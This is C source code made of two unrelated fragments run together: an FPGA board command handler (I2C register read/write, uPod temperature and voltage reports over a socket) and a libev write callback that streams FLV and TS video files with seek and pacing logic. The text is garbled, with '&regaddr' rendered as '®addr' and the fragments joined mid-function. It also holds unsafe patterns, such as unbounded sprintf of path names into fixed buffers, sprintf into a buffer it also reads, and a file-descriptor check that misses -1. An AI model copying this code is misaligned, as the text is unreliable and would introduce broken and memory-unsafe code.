i2c_addresses[idx-1] = strtoul( tokens[idx] , pEnd , 0 ); for( idx=0;idx<8;idx++ ) { if( number_tokens > 1 && idx>=(number_tokens-1) ) continue; u8_t i2c_addr = i2c_addresses[idx]; if( i2c_addr < 8 ) { i2c_addr = upod_address(i2c_addr); } SetUPodI2CAddress( i2c_addr ); uPodMonitorData *mondata = GetUPodStatus(); memset( input_buf , 0 , RECV_BUF_SIZE+1 ); char * temp_format_string = "Addr %p , status 0x%02x , temp %d.%03dC , 3.3V %duV , 2.5V %duV\n"; safe_sprintf( input_buf , temp_format_string , i2c_addr , mondata->status, \ mondata->tempWhole, mondata->tempFrac, \ 100*mondata->v33, 100*mondata->v25); free(mondata); retval = safe_send(s, input_buf); } #endif return retval; } if( command_type == IICR ) { #ifdef IS_OTC_BOARD int devid = 0; u8_t i2c_addr; u8_t regaddr; u8_t * data; u16_t nbytes = 1; devid = strtoul( tokens[1] , pEnd , 0 ); i2c_addr = strtoul( tokens[2] , pEnd , 0 ); regaddr = strtoul( tokens[3] , pEnd , 0 ); if( number_tokens == 5 ) nbytes = strtoul( tokens[4] , pEnd , 0 ); data = malloc( sizeof(u8_t) * nbytes ); /* Set the register address */ retval = IICMasterWrite(devid,i2c_addr,1,®addr); if( retval != XST_SUCCESS ) return retval; /* and do the read */ retval = IICMasterRead(devid,i2c_addr,nbytes,data); memset( input_buf , 0 , RECV_BUF_SIZE+1 ); for( idx = 0 ; idx < nbytes ; idx++ ) { safe_sprintf( input_buf , "%s 0x%02x" , input_buf , data[idx] ); } safe_sprintf( input_buf , "%s\r\n" , input_buf ); retval = safe_send(s, input_buf); free(data); #endif return retval; } if( command_type == IICW ) { #ifdef IS_OTC_BOARD int devid = 0; u8_t i2c_addr; u8_t regaddr; u8_t * buffer; u16_t nbytes = ( number_tokens - 4 ); devid = strtoul( tokens[1] , pEnd , 0 ); i2c_addr = strtoul( tokens[2] , pEnd , 0 ); regaddr = strtoul( tokens[3] , pEnd , 0 ); buffer = malloc( sizeof(u8_t) * ( nbytes + 1 ) ); buffer[0] = regaddr; for( idx = 4 ; idx < number_tokens ; idx++ ) { buffer[idx-3] = strtoul( tokens[idx] , pEnd , 0 ); } retval = IICMasterWrite(devid,i2c_addr,nbytes+1,buffer); free(buffer); #endif return retval; } if( command_type == PRINTTEMP ) { // We now update this in monitor, don't bother doing it twice... /* now write the web page data in two steps. FIrst the Xilinx temp/voltages */ char *pagefmt = "uptime %d , temp %0.1fC , intv %0.1fV , auxv %0.1fV , bramv %0.1fV\r\n"; safe_sprintf(input_buf,pagefmt,procStatus.uptime,procStatus.v7temp,procStatus.v7vCCINT,procStatus.v7vCCAUX,procStatus.v7vBRAM); int n=strlen(input_buf); int w; if ((w = safe_send(s, input_buf)) < 0 ) { safe_printf("error writing web page data (part 1) to socket\r\n"); safe_printf("attempted to lwip_write %d bytes, actual bytes written = %d\r\n", n, w); return -2; } return w; } if( command_type == GLOBALINIT ) { global_reset_eye_scan(); } return retval; }
void write_cb(struct ev_loop *loop, struct ev_io *w, int revents) { if (EV_ERROR & revents) { perror(" w got invalid event"); return; } client *session = (client*) (((char*)w) - offsetof(client, ev_write)); if (session->fd == 0 ) { return; } switch (session->state) { case CREATED: { const char *head; char meta[255]; int meta_fd; ssize_t size; char meta_data[2048]; sprintf(meta, "%s/%s/flv", session->g_path, session->name); if (access(meta, R_OK) == 0) { head = flv_head; session->media= FLV; } else { sprintf(meta, "%s/%s/ts", session->g_path, session->name); head = ts_head; session->media= TS ; } //printf("%s\n", meta); meta_fd = open(meta, O_RDONLY); if (meta_fd) { size = read(meta_fd, meta_data, sizeof(meta_data)); close(meta_fd); } else { head = error_head; } if (revents & EV_WRITE){ //write(w->fd, head, strlen(head)); ssize_t len = safe_send(w->fd, (void*)head, strlen(head)); if (len < 0) { if (errno == EAGAIN) break; else { ev_io_stop(work_loop, &session->ev_write); ev_io_stop(work_loop, &session->ev_read); if (w->fd) { close(w->fd); session->fd = 0; } break; } } //channel not found if (head == error_head) { ev_io_stop(work_loop, &session->ev_write); ev_io_stop(work_loop, &session->ev_read); if (w->fd) { close(w->fd); session->fd = 0; } break; } len = safe_send(w->fd, meta_data, size); if (len < 0) { if (errno == EAGAIN) break; else { ev_io_stop(work_loop, &session->ev_write); ev_io_stop(work_loop, &session->ev_read); if (w->fd) { close(w->fd); session->fd = 0; } break; } } } session->state = SEEK; break; } case SEEK: { char timestr [64]; char indexstr [64]; char fullpath[255]; int sec; if (session->media == TS) { struct tm start; localtime_r(&session->start_time, &start); sec = start.tm_sec % 10; start.tm_sec = start.tm_sec - sec; session->start_time -= sec; strftime(timestr, sizeof(timestr), "%Y%m%d%H%M%S.ts", &start); strftime(indexstr, sizeof(timestr), "%Y%m%d%H%M%S.index", &start); }else { struct tm start; localtime_r(&session->start_time, &start); sec = start.tm_sec; strftime(timestr, sizeof(timestr), "%Y%m%d%H%M.flv", &start); strftime(indexstr, sizeof(timestr), "%Y%m%d%H%M.index", &start); } //printf("seek %s\n", timestr); off_t pos = 0; int fd; sprintf(fullpath, "%s/%s/%s", session->g_path, session->name, indexstr); fd = open(fullpath, O_RDONLY); if (fd > 0) { lseek(fd, 4 * sec, SEEK_SET); read(fd, &pos, sizeof(pos)); close(fd); } sprintf(fullpath, "%s/%s/%s", session->g_path, session->name, timestr); //printf("%s\n", fullpath); session->file_fd = open(fullpath, O_RDONLY); if (session->file_fd < 0) { printf("no channel %s\n", fullpath); ev_io_stop(work_loop, &session->ev_write); ev_io_stop(work_loop, &session->ev_read); close(w->fd); session->fd = 0; break; } if (pos > 0) lseek(session->file_fd, pos, SEEK_SET); session->state = RUNNING; break; } case RUNNING: { int interval = 0; if (session->media == TS) { //ts unsigned char buffer[TSPACKET_SIZE * 7]; unsigned char *p ; uint32_t has_pcr = 0; uint64_t pcr = 0; int64_t diff_time = 0; int64_t diff_pcr = 0; ssize_t len = read(session->file_fd, buffer, sizeof(buffer)); if (len <= 0) { /////////////////////////// close(session->file_fd); struct tm start; char timestr[64]; char fullpath[255]; session->start_time += 10; localtime_r(&session->start_time, &start); strftime(timestr, sizeof(timestr), "%Y%m%d%H%M%S.ts", &start); sprintf(fullpath, "%s/%s/%s", session->g_path, session->name, timestr); session->file_fd = open(fullpath, O_RDONLY); if (session->file_fd < 0) { if (session->cfg_start_time != 0) { session->start_time = session->cfg_start_time - 10; } else session->start_time += 10; } session->inited_time = 0; break; } int i; for (i = 0; i < 7; i++) { if ((i * TSPACKET_SIZE) >= len) break; p = buffer + i * TSPACKET_SIZE; if (TSPACKET_HAS_ADAPTATION(p)) { if (TSPACKET_GET_ADAPTATION_LEN(p) > 0) { if (TSPACKET_IS_PCRFLAG_SET(p)) { has_pcr = 1; pcr = (TSPACKET_GET_PCRBASE(p)) / 45 ; if (session->inited_time > 0) { diff_pcr = pcr - session->last_pcr; session->last_pcr = pcr; } else { session->play_duration = 0; session->send_duration = 0; session->inited_time = 1; session->last_pcr = pcr; session->last_time = now_time(); } } } } } len = safe_send(w->fd, buffer, len); if (len < 0) { if (errno == EAGAIN) break; else { ev_io_stop(work_loop, &session->ev_write); ev_io_stop(work_loop, &session->ev_read); ev_timer_stop (work_loop, &session->ev_time); if (w->fd) { close(w->fd); session->fd = 0; } if (session->file_fd) { close(session->file_fd); session->file_fd = 0; } break; } } if (has_pcr == 0){ break; } uint64_t now = now_time(); diff_time = now - session->last_time; session->last_time = now; if (diff_pcr < 0) { session->play_duration += 40; } if (diff_time < 0) { session->send_duration += 40; } session->play_duration += diff_pcr; session->send_duration += diff_time; interval = session->play_duration - session->send_duration; if (interval <= 0) { break; } if (interval >= 2) { ev_io_stop(work_loop, w); float c = interval / 1000.0; ev_timer_set(&session->ev_time, c, 0.); ev_timer_start (work_loop, &session->ev_time); } } else { //flv //////////////////////////////////// Tag_s tag; int64_t diff_time = 0; int64_t diff_pcr = 0; uint32_t has_pcr = 0; ssize_t len = flv_read_tag(&tag, session->file_fd); if (len <= 0) { /////////////////////////// close(session->file_fd); struct tm start; char timestr[64]; char fullpath[255]; session->start_time += 60; localtime_r(&session->start_time, &start); strftime(timestr, sizeof(timestr), "%Y%m%d%H%M.flv", &start); sprintf(fullpath, "%s/%s/%s", session->g_path, session->name, timestr); session->file_fd = open(fullpath, O_RDONLY); printf("change file %s\n", fullpath); if (session->file_fd < 0) { session->start_time -= 60; session->inited_time = 0; } break; } if (IS_VIDEO_TAG(tag)) { has_pcr = 1; if (session->inited_time > 0) { diff_pcr = tag.time_stamp - session->last_pcr; session->last_pcr = tag.time_stamp; } else { //reinit session->play_duration = 0; session->send_duration = 0; session->inited_time = 1; session->last_time = now_time(); session->last_pcr = tag.time_stamp; } } len = safe_send(w->fd, tag.data, 15 + len); if (len < 0) { free(tag.data); if (errno == EAGAIN) break; else { ev_io_stop(work_loop, w); ev_io_stop(work_loop, &session->ev_read); ev_timer_stop (work_loop, &session->ev_time); if (session->file_fd) { close(session->file_fd); session->file_fd = 0; } if (w->fd) { close(w->fd); session->fd = 0; } break; } } free(tag.data); if (has_pcr == 0){ break; } uint64_t now = now_time(); diff_time = now - session->last_time; session->last_time = now; if (diff_pcr < 0) { session->play_duration += 40; } if (diff_time < 0) { session->send_duration += 40; } session->play_duration += diff_pcr; session->send_duration += diff_time; interval = session->play_duration - session->send_duration; if (interval <= 0) { break; } if (interval >= 2) { ev_io_stop(work_loop, w); float c = interval / 1000.0; ev_timer_set(&session->ev_time, c, 0.); ev_timer_start (work_loop, &session->ev_time); } } break; } default: printf("state error\n"); } //close(w->fd); // 此处可以安装一个ev_timer ev_timer的回调中,再次安装ev_io write }